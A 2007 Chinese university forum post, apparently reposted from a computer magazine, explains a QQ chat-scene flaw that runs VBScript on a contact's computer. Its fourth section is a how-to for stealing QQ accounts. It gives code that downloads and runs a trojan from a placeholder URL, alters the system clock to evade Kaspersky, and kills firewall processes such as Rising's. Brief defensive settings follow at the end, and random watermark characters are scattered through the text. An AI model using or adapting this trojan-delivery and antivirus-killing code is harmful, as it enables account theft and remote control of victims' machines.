诚毅小家|集美大学生活【集美大学,诚毅学院,水产学院,师范学院,美术学院,财经学院,体育学院,航海学院,集美学村,石鼓路,龙舟池】

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 383|回复: 0

QQ新漏洞 腾讯3亿用户遭受威胁

[复制链接]
发表于 2007-9-13 12:05:45 | 显示全部楼层 |阅读模式
一、QQ场景漏洞的利用原理解析
3 I- D. N2 u0 F8 `& t3 L! Q; X  聊天场景是QQ软件中的一项基本功能,可以让聊天的双方使用同样的场景,从而拉近聊天用户之间的距离。不过最新的QQ场景漏洞,可能会让大家的QQ有被盗的风险。
9 U8 ~8 y7 Z/ k- V  \7 N  该漏洞的利用原理很简单,攻击者向其QQ列表内的用户发送一个恶意构造的场景,场景里面包括图片文件、VBScript.qqs文件和Config.qqs文件,其中VBScript.qqs文件就是编写恶意代码的地方,然后在远程系统中执行即可。
) z! ^: t' f! O* v- b$ _  h# x$ ]: a( B  二、QQ场景漏洞的危害有多大
0 N# t' {- P4 n4 ]# X- s  QQ场景漏洞的危害到底多大?重则可能系统崩溃,资料消失;轻则可能QQ被盗,这些后果都是很严重的。更可怕的是,漏洞的利用方法特别简单,不需要什么操作即可实现,会成为大量手痒的菜鸟黑客们的最爱。
2 E: x* N& @8 v% S  添加的脚本代码的作用不同,造成的危害性也会不同。比如,如果是一段文件下载脚本代码的话,那么代码就会自动下载设置的文件并默默地运行。如果下载的是木马后门程序的话,黑客就可以通过木马进行远程控制。如果是一段格式化代码的话,那么磁盘中的文件就会瞬间被清除掉。
$ b. `6 l+ y3 F% H; [1 Y4 @  小提示:QQ场景漏洞的危害程度判断是参考了标准的次高危害漏洞(百度搜霸远程执行漏洞)和标准的中等危害漏洞(WMP AU文件除零漏洞)。  r' G1 a9 n% R7 L2 f2 k
0 z9 G6 e5 T+ W
    三、试用QQ场景漏洞
7 L- S5 ~2 z" B8 W+ \: u
/ f/ p$ @& y- I- T' [" r  首先,将QQ场景漏洞所需的场景文件下载到本地系统,解压后复制到系统中QQ的安装目录X:\ProgramFiles\Tencent\QQ下面,这样在Scene文件夹中就多了一个场景目录。现在我们就可以进行测试操作,不过为了弹出窗口更加有个性化,我们要对场景目录真的脚本文件进行修改。( G+ n- ~+ q  w: z2 t* y
  接着,用文本编辑器打开其中的VBScript.qqs文件,在文件代码中找到MsgBox这个消息函数,该函数后面跟着的就是该场景在执行后弹出的信息内容,这里我们可以将它设置为自己需要弹出的内容信息,比如设置为“电脑报,我的最爱!”。如果你熟悉VBS脚本,可以设置更有个性的语句。
  B9 t" @  \  ]. R  然后,随便在QQ联系人列表中找一个人,无论对方使用的是QQ还是TM都可以,双击打开其聊天窗口。然后点击工具栏中的“选择音乐场景”按钮,在弹出的窗口中选择打开“我的场景”标签,并且找到一个和场景目录名称相同的场景。这样这个带有VBS脚本的场景,就会自动的下载到远程好友的QQ 中并运行。- a- ]2 W, Q3 _
  四、如何利用QQ场景漏洞盗QQ
+ o6 V6 f" B' M  m  漏洞用熟后,就可以开始盗QQ了。首选下载该漏洞的利用代码,然后进行简单的修改即可。下面就对代码的关键部分进行讲解。
# N4 I, s& Z6 n6 I1 @; I  iLocal = LCase("c:\mm.exe"):iRemote = LCase("http://www.****.com/mygim.exe")
8 G  r. H# L9 y! z" ?$ w  代码作用是将文件下载到磁盘中指定的位置,我们只需要把其中的http://www.****.com/mygim.exe改为自己的木马地址即可。) k! s3 b$ `6 N8 m; P" X8 [3 F6 D% a% W
  Set ws = CreateObject("Wscript.Shell"). f0 |5 ^' |3 L/ V# S' p% z, d
  ws.run "cmd /c set date=%date% &&date 1988-1-1 &&ping -n 30 127.0.0.1&&date %date%",vbhide
; W( v1 E4 ]* @4 m( E1 @  for each ps in getobject("winmgmts:\\.\root\cimv2:win32_proCESs").instances_
, v8 H2 _, N! b- h. l  if ps.Name="rfwsrv.exe" then
4 o+ x& ~7 t+ p# D  d$ v  ws.run "ntsd -c q -p ps.handle",0
- m* ^# z) c4 K6 Y- V  这段代码主要有两个作用,首先是通过修改系统的时间,从而让下载的木马程序躲过卡巴斯基的主动防御功能。接着用于检测系统中是否存在瑞星防火墙,如果存在的话就结束该防火墙的进程。+ b6 n5 G' {  _( I5 }
  当然我们可以依葫芦画瓢来添加结束其他进程的代码,比如要结束金山网镖的进程,只需要将代码if ps.Name="rfwsrv.exe"Then中的rfwsrv.exe,替换为金山网镖的进程名称KPFW32.exe即可。经过这一系列的处理以后,盗号木马就能成功的获取远程用户的QQ号码,并且最终发送到我们指定的信箱里面呢。
) P# w. r+ ^; p9 V. ]6 Y9 v7 ~& h2 j   五、QQ场景漏洞的防范措施   A/ s8 h/ |, K
& h: P$ O0 ^$ e  l7 j, v1 d9 l
  由于QQ场景漏洞是一个全新的0DAY漏洞,因此现在还没有现成的安全补丁可以使用,所以只能临时用其他的方法来进行相关的防范。有的人说TM没有聊天场景,因此可以利用TM来代替QQ,但是经过我们的测试发现TM依然受到该漏洞的影响。
: l+ K8 L5 z- K* {  同样在联系人列表中任意的选择一位,接着点击工具栏中的“选择音乐场景”按钮,然后在“我的场景”标签中点击“在我的场景设置”按钮。现在只需要在弹出的窗口里面把“接受场景邀请”前面的勾去掉就可以啦。除此以外,还可以选择Scene目录的属性选项,将它的属性设置为只读即可。' q. f  \' i+ U0 ^6 x- q: U6 z
  如果用户已经不信“中标”的话,那么现在还有两种方法可以解决。第一在“我的场景”标签里,选择“不使用场景”选项就可以。另外可以直接到QQ目录中的Scene文件夹,将它中的所有内容彻底删除,就可以完全避免以前的漏洞场景被重新激活
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|诚毅小家 ( 小家社区工作室 闽ICP备05007965号 )

GMT+8, 2024-11-23 20:16 , Processed in 0.046665 second(s), 20 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表